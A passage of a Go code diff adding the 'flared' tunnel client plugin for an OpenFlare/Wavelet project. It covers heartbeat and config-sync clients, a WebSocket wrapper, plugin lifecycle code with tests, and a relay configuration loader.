slog.Debug("flared heartbeat succeeded")
|
||||
|
||||
if resp != nil && resp.TunnelSettings != nil {
|
||||
edgeheartbeat.TryAutoUpdate(ctx, s.updater, tunnelSettingsToAutoUpdate(resp.TunnelSettings), "flared")
|
||||
}
|
||||
}
|
||||
|
||||
func tunnelSettingsToAutoUpdate(settings *service.RelaySettings) *edgeheartbeat.AutoUpdateSettings {
|
||||
if settings == nil {
|
||||
return nil
|
||||
}
|
||||
return &edgeheartbeat.AutoUpdateSettings{
|
||||
AutoUpdate: settings.AutoUpdate,
|
||||
UpdateNow: settings.UpdateNow,
|
||||
UpdateRepo: settings.UpdateRepo,
|
||||
UpdateChannel: settings.UpdateChannel,
|
||||
UpdateTag: settings.UpdateTag,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package httpclient provides the HTTP client used by the flared agent to communicate with the Wavelet server.
|
||||
package httpclient
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
edgehttp "Wavelet/openflare/share/edge/httpclient"
|
||||
service "Wavelet/openflare/share/protocol"
|
||||
)
|
||||
|
||||
// APIResponse is an alias for service.APIResponse.
|
||||
type APIResponse[T any] = service.APIResponse[T]
|
||||
|
||||
// Client is the HTTP client for the flared tunnel API.
|
||||
type Client struct {
|
||||
base *edgehttp.Client
|
||||
}
|
||||
|
||||
// New creates a new Client configured with the given base URL, authentication token, and request timeout.
|
||||
func New(baseURL string, token string, timeout time.Duration) *Client {
|
||||
return &Client{
|
||||
base: edgehttp.New(baseURL, token, timeout, "X-Tunnel-Token"),
|
||||
}
|
||||
}
|
||||
|
||||
// Heartbeat sends a tunnel heartbeat payload and returns the server response.
|
||||
func (c *Client) Heartbeat(ctx context.Context, payload service.FlaredHeartbeatPayload) (*service.FlaredHeartbeatResponse, error) {
|
||||
resp := APIResponse[service.FlaredHeartbeatResponse]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/tunnel/heartbeat", payload, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// GetActiveConfig fetches the currently active tunnel configuration from the server.
|
||||
func (c *Client) GetActiveConfig(ctx context.Context) (*service.FlaredTunnelConfigResponse, error) {
|
||||
resp := APIResponse[service.FlaredTunnelConfigResponse]{}
|
||||
if err := c.base.GetJSON(ctx, "/api/v1/tunnel/config/active", &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// ReportApplyLog submits a configuration apply-log entry to the server.
|
||||
func (c *Client) ReportApplyLog(ctx context.Context, payload service.ApplyLogPayload) error {
|
||||
resp := APIResponse[any]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/tunnel/apply-log", payload, &resp); err != nil {
|
||||
return err
|
||||
}
|
||||
return edgehttp.APIError(resp.ErrorMsg)
|
||||
}
|
||||
|
||||
// SetToken updates the authentication token used by the client.
|
||||
func (c *Client) SetToken(token string) {
|
||||
c.base.SetToken(token)
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package flared 装载 OpenFlare 隧道客户端插件：frpc 进程管理、配置同步与心跳上报，
|
||||
// 以 Cordis 驱动形态在 profile "flared" 下运行。
|
||||
package flared
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
|
||||
"Wavelet/core"
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
flaredrunner "Wavelet/openflare/plugins/flared/flared"
|
||||
"Wavelet/openflare/plugins/flared/frpc"
|
||||
"Wavelet/openflare/plugins/flared/heartbeat"
|
||||
"Wavelet/openflare/plugins/flared/httpclient"
|
||||
"Wavelet/openflare/plugins/flared/sync"
|
||||
"Wavelet/openflare/plugins/flared/wsclient"
|
||||
"Wavelet/pkg/util"
|
||||
)
|
||||
|
||||
// DriverTypeFlared 是隧道客户端守护进程专属的驱动类型。
|
||||
const DriverTypeFlared core.DriverType = "flared"
|
||||
|
||||
// Plugin 实现 core.Plugin 与 core.Driver。
|
||||
type Plugin struct {
|
||||
configPath string
|
||||
|
||||
runner *flaredrunner.Runner
|
||||
done chan error
|
||||
started bool
|
||||
}
|
||||
|
||||
// New 创建 flared 插件，configPath 指向其 JSON 配置文件。
|
||||
func New(configPath string) *Plugin {
|
||||
return &Plugin{configPath: configPath, done: make(chan error, 1)}
|
||||
}
|
||||
|
||||
// Name 返回插件标识。
|
||||
func (p *Plugin) Name() string { return "flared" }
|
||||
|
||||
// Type 返回驱动类型。
|
||||
func (p *Plugin) Type() core.DriverType { return DriverTypeFlared }
|
||||
|
||||
// Apply 加载配置、恢复 frpc 状态并装配各服务，然后注册驱动。
|
||||
func (p *Plugin) Apply(ctx *core.Context) error {
|
||||
cfg, err := config.Load(p.configPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("load flared config: %w", err)
|
||||
}
|
||||
slog.Info("flared config loaded",
|
||||
"server", cfg.ServerURL,
|
||||
"frpc_path", cfg.FrpcPath,
|
||||
"data_dir", cfg.DataDir,
|
||||
"heartbeat_interval", cfg.HeartbeatInterval,
|
||||
"sync_interval", cfg.SyncInterval,
|
||||
)
|
||||
|
||||
frpcManager := frpc.NewManager(cfg)
|
||||
_ = frpcManager.LoadState()
|
||||
slog.Info("detected frpc version", "version", frpcManager.GetVersion(context.Background()))
|
||||
|
||||
httpClient := httpclient.New(cfg.ServerURL, cfg.InitialAuthToken(), cfg.RequestTimeout.Duration())
|
||||
wsClient := wsclient.New(cfg.ServerURL, cfg.InitialAuthToken(), cfg.RequestTimeout.Duration())
|
||||
|
||||
p.runner = &flaredrunner.Runner{
|
||||
Config: cfg,
|
||||
FrpcManager: frpcManager,
|
||||
HTTPClient: httpClient,
|
||||
WebSocketService: wsClient,
|
||||
HeartbeatService: heartbeat.New(httpClient, frpcManager, cfg),
|
||||
SyncService: sync.New(httpClient, frpcManager, cfg),
|
||||
}
|
||||
|
||||
return ctx.RegisterDriver(p)
|
||||
}
|
||||
|
||||
// Start 拉起隧道主循环；runner.Run 阻塞至 ctx 取消，故置于独立 goroutine。
|
||||
func (p *Plugin) Start(ctx context.Context) error {
|
||||
util.Go(func() { p.done <- p.runner.Run(ctx) })
|
||||
p.started = true
|
||||
slog.Info("flared process started")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 等待主循环退出并回传其结果。
|
||||
func (p *Plugin) Stop(ctx context.Context) error {
|
||||
if !p.started {
|
||||
return nil
|
||||
}
|
||||
select {
|
||||
case err := <-p.done:
|
||||
p.started = false
|
||||
if err != nil && !errors.Is(err, context.Canceled) {
|
||||
return err
|
||||
}
|
||||
slog.Info("flared process stopped")
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
p.started = false
|
||||
return fmt.Errorf("flared shutdown timeout: %w", ctx.Err())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package flared
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"Wavelet/core"
|
||||
)
|
||||
|
||||
func TestPluginIdentity(t *testing.T) {
|
||||
p := New("./flared.json")
|
||||
if got := p.Name(); got != "flared" {
|
||||
t.Errorf("Name() = %q, want %q", got, "flared")
|
||||
}
|
||||
// 驱动类型必须等于 profile 字符串，否则内核的 profile 过滤会漏掉本驱动。
|
||||
if got, want := string(p.Type()), string(core.Profile("flared")); got != want {
|
||||
t.Errorf("Type() = %q, want profile %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyFailsOnMissingConfig(t *testing.T) {
|
||||
ctx := core.NewContext(context.Background())
|
||||
if err := New("./does-not-exist.json").Apply(ctx); err == nil {
|
||||
t.Fatal("Apply(missing config) error = nil, want error")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package sync periodically fetches and applies the active tunnel configuration.
|
||||
package sync
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
"Wavelet/openflare/plugins/flared/frpc"
|
||||
"Wavelet/openflare/plugins/flared/httpclient"
|
||||
service "Wavelet/openflare/share/protocol"
|
||||
)
|
||||
|
||||
// Service synchronizes tunnel configuration from the control plane to the local frpc manager.
|
||||
type Service struct {
|
||||
client *httpclient.Client
|
||||
frpcManager *frpc.Manager
|
||||
config *config.Config
|
||||
triggerCh chan struct{}
|
||||
}
|
||||
|
||||
// New creates a sync service with the given client, frpc manager, and config.
|
||||
func New(client *httpclient.Client, manager *frpc.Manager, cfg *config.Config) *Service {
|
||||
return &Service{
|
||||
client: client,
|
||||
frpcManager: manager,
|
||||
config: cfg,
|
||||
triggerCh: make(chan struct{}, 1),
|
||||
}
|
||||
}
|
||||
|
||||
// Trigger requests an immediate configuration sync without waiting for the next interval.
|
||||
func (s *Service) Trigger() {
|
||||
select {
|
||||
case s.triggerCh <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// Run starts the sync loop until ctx is canceled.
|
||||
func (s *Service) Run(ctx context.Context) {
|
||||
ticker := time.NewTicker(s.config.SyncInterval.Duration())
|
||||
defer ticker.Stop()
|
||||
|
||||
// initial sync
|
||||
s.doSync(ctx)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.doSync(ctx)
|
||||
case <-s.triggerCh:
|
||||
s.doSync(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Service) doSync(ctx context.Context) {
|
||||
slog.Debug("fetching active tunnel config")
|
||||
configResp, err := s.client.GetActiveConfig(ctx)
|
||||
if err != nil {
|
||||
slog.Error("failed to fetch active tunnel config", "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 不在 sync 层做版本早退，由 frpcManager.UpdateConfig 负责判断。
|
||||
// 原因：重启后进程全部消失，即使版本/checksum 未变，仍需重新拉起 frpc 进程。
|
||||
configChanged, err := s.frpcManager.UpdateConfig(ctx, configResp)
|
||||
if err != nil {
|
||||
slog.Error("failed to apply tunnel config", "error", err)
|
||||
s.reportApplyLog(ctx, configResp, "failed", err.Error())
|
||||
return
|
||||
}
|
||||
if configChanged {
|
||||
slog.Info("tunnel config applied successfully", "version", configResp.Version)
|
||||
s.reportApplyLog(ctx, configResp, "success", "apply success")
|
||||
return
|
||||
}
|
||||
slog.Debug("tunnel config unchanged, skipping apply log report", "version", configResp.Version)
|
||||
}
|
||||
|
||||
func (s *Service) reportApplyLog(ctx context.Context, configResp *service.FlaredTunnelConfigResponse, result string, message string) {
|
||||
if configResp == nil {
|
||||
return
|
||||
}
|
||||
logPayload := service.ApplyLogPayload{
|
||||
Version: configResp.Version,
|
||||
Result: result,
|
||||
Message: message,
|
||||
Checksum: configResp.Checksum,
|
||||
}
|
||||
if reportErr := s.client.ReportApplyLog(ctx, logPayload); reportErr != nil {
|
||||
slog.Error("failed to report apply log", "error", reportErr)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package updater provides update service capabilities for flared.
|
||||
package updater
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
edgeupdater "Wavelet/openflare/share/edge/updater"
|
||||
)
|
||||
|
||||
// Service is an alias for the edge updater Service.
|
||||
type Service = edgeupdater.Service
|
||||
|
||||
// UpdateOptions is an alias for the edge updater UpdateOptions.
|
||||
type UpdateOptions = edgeupdater.UpdateOptions
|
||||
|
||||
// New creates a new updater Service instance.
|
||||
func New() *Service {
|
||||
return edgeupdater.New(edgeupdater.Config{
|
||||
LocalVersion: config.Version,
|
||||
AssetPrefix: "openflared",
|
||||
LogLabel: "flared",
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package wsclient provides a WebSocket client for flared control-plane communication.
|
||||
package wsclient
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
edgews "Wavelet/openflare/share/edge/wsclient"
|
||||
)
|
||||
|
||||
// WSMessage is a WebSocket message exchanged with the control plane.
|
||||
type WSMessage = edgews.WSMessage
|
||||
|
||||
// MessageHandler processes incoming WebSocket messages.
|
||||
type MessageHandler = edgews.MessageHandler
|
||||
|
||||
// Connection represents an active WebSocket connection.
|
||||
type Connection = edgews.Connection
|
||||
|
||||
// Client connects to the flared WebSocket endpoint on the control plane.
|
||||
type Client struct {
|
||||
inner *edgews.Client
|
||||
}
|
||||
|
||||
// New creates a WebSocket client for the flared control-plane endpoint.
|
||||
func New(baseURL, token string, timeout time.Duration) *Client {
|
||||
return &Client{
|
||||
inner: edgews.New(edgews.PresetFlared, baseURL, token, timeout),
|
||||
}
|
||||
}
|
||||
|
||||
// SetToken updates the authentication token used for the WebSocket connection.
|
||||
func (c *Client) SetToken(token string) {
|
||||
c.inner.SetToken(token)
|
||||
}
|
||||
|
||||
// Connect establishes a WebSocket connection to the control plane.
|
||||
func (c *Client) Connect(ctx context.Context) (*Connection, error) {
|
||||
return c.inner.Connect(ctx)
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package config loads and persists relay daemon configuration.
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
edgeconfig "Wavelet/openflare/share/edge/config"
|
||||
"Wavelet/openflare/share/edge/nodeip"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHeartbeatInterval = 10 * time.Second
|
||||
defaultRequestTimeout = 10 * time.Second
|
||||
configFilePerm = 0o600
|
||||
)
|
||||
|
||||
// MillisecondDuration is a JSON-friendly duration type shared with edge config.
|
||||
type MillisecondDuration = edgeconfig.MillisecondDuration
|
||||
|
||||
// Config holds relay daemon settings loaded from file and environment.
|
||||
type Config struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
AgentToken string `json:"agent_token"`
|
||||
DiscoveryToken string `json:"discovery_token"`
|
||||
NodeName string `json:"node_name"`
|
||||
NodeIP string `json:"node_ip"`
|
||||
FrpsPath string `json:"frps_path"`
|
||||
DataDir string `json:"data_dir"`
|
||||
StatePath string `json:"state_path"`
|
||||
HeartbeatInterval MillisecondDuration `json:"heartbeat_interval"`
|
||||
RequestTimeout MillisecondDuration `json:"request_timeout"`
|
||||
configPath string
|
||||
NodeIPConfigured bool
|
||||
}
|
||||
|
||||
// Load reads configuration from path, applying environment overrides and defaults.
|
||||
func Load(path string) (*Config, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // path is the relay config file from startup
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
cfg := &Config{}
|
||||
if err == nil {
|
||||
if err = json.Unmarshal(data, cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err != nil && !hasEnvConfig() {
|
||||
return nil, err
|
||||
}
|
||||
cfg.configPath = path
|
||||
applyEnvOverrides(cfg)
|
||||
cfg.NodeIPConfigured = cfg.NodeIP != ""
|
||||
applyDefaults(cfg, filepath.Dir(path))
|
||||
if err = validate(cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func hasEnvConfig() bool {
|
||||
for _, key := range []string{
|
||||
"OPENFLARE_SERVER_URL",
|
||||
"OPENFLARE_AGENT_TOKEN",
|
||||
"OPENFLARE_DISCOVERY_TOKEN",
|
||||
"OPENFLARE_NODE_NAME",
|
||||
"OPENFLARE_NODE_IP",
|
||||
"OPENFLARE_DATA_DIR",
|
||||
"OPENFLARE_FRPS_PATH",
|
||||
} {
|
||||
if strings.TrimSpace(os.Getenv(key)) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func applyEnvOverrides(cfg *Config) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
overrideString := func(key string, target *string) {
|
||||
if value := strings.TrimSpace(os.Getenv(key)); value != "" {
|
||||
*target = value
|
||||
}
|
||||
}
|
||||
overrideString("OPENFLARE_SERVER_URL", &cfg.ServerURL)
|
||||
overrideString("OPENFLARE_AGENT_TOKEN", &cfg.AgentToken)
|
||||
overrideString("OPENFLARE_DISCOVERY_TOKEN", &cfg.DiscoveryToken)
|
||||
overrideString("OPENFLARE_NODE_NAME", &cfg.NodeName)
|
||||
overrideString("OPENFLARE_NODE_IP", &cfg.NodeIP)
|
||||
overrideString("OPENFLARE_DATA_DIR", &cfg.DataDir)
|
||||
overrideString("OPENFLARE_FRPS_PATH", &cfg.FrpsPath)
|
||||
}
|
||||
|
||||
func applyDefaults(cfg *Config, baseDir string) {
|
||||
baseDir = filepath.Clean(baseDir)
|
||||
if cfg.FrpsPath == "" {
|
||||
cfg.FrpsPath = "frps" // rely on PATH
|
||||
}
|
||||
if cfg.DataDir == "" {
|
||||
cfg.DataDir = filepath.Join(baseDir, "data")
|
||||
}
|
||||
if cfg.NodeName == "" {
|
||||
host, _ := os.Hostname()
|
||||
cfg.NodeName = strings.TrimSpace(host)
|
||||
}
|
||||
if cfg.NodeIP == "" {
|
||||
cfg.NodeIP = nodeip.Detect()
|
||||
}
|
||||
if cfg.StatePath == "" {
|
||||
cfg.StatePath = filepath.Join(cfg.DataDir, "relay-state.json")
|
||||
}
|
||||
if cfg.HeartbeatInterval <= 0 {
|
||||
cfg.HeartbeatInterval = MillisecondDuration(defaultHeartbeatInterval)
|
||||
}
|
||||
if cfg.RequestTimeout <= 0 {
|
||||
cfg.RequestTimeout = MillisecondDuration(defaultRequestTimeout)
|
||||
}
|
||||
}
|
||||
|
||||
func validate(cfg *Config) error {
|
||||
if cfg.ServerURL == "" {
|
||||
return errors.New("server_url 不能为空")
|
||||
}
|
||||
if strings.TrimSpace(cfg.AgentToken) == "" && strings.TrimSpace(cfg.DiscoveryToken) == "" {
|
||||
return errors.New("agent_token 和 discovery_token 不能同时为空")
|
||||
}
|
||||
if cfg.NodeName == "" {
|
||||
return errors.New("node_name 不能为空")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// InitialAuthToken returns the agent or discovery token used for authentication.
|
||||
func (cfg *Config) InitialAuthToken() string {
|
||||
if cfg == nil {
|
||||
return ""
|
||||
}
|
||||
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
|
||||
return token
|
||||
}
|
||||
return strings.TrimSpace(cfg.DiscoveryToken)
|
||||
}
|
||||
|
||||
// Save writes the current configuration back to the loaded config path.
|
||||
func (cfg *Config) Save() error {
|
||||
if cfg == nil {
|
||||
return errors.New("config 不能为空")
|
||||
}
|
||||
if cfg.configPath == "" {
|
||||
return errors.New("config path 未初始化")
|
||||
}
|
||||
data, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(cfg.configPath, data, configFilePerm)
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user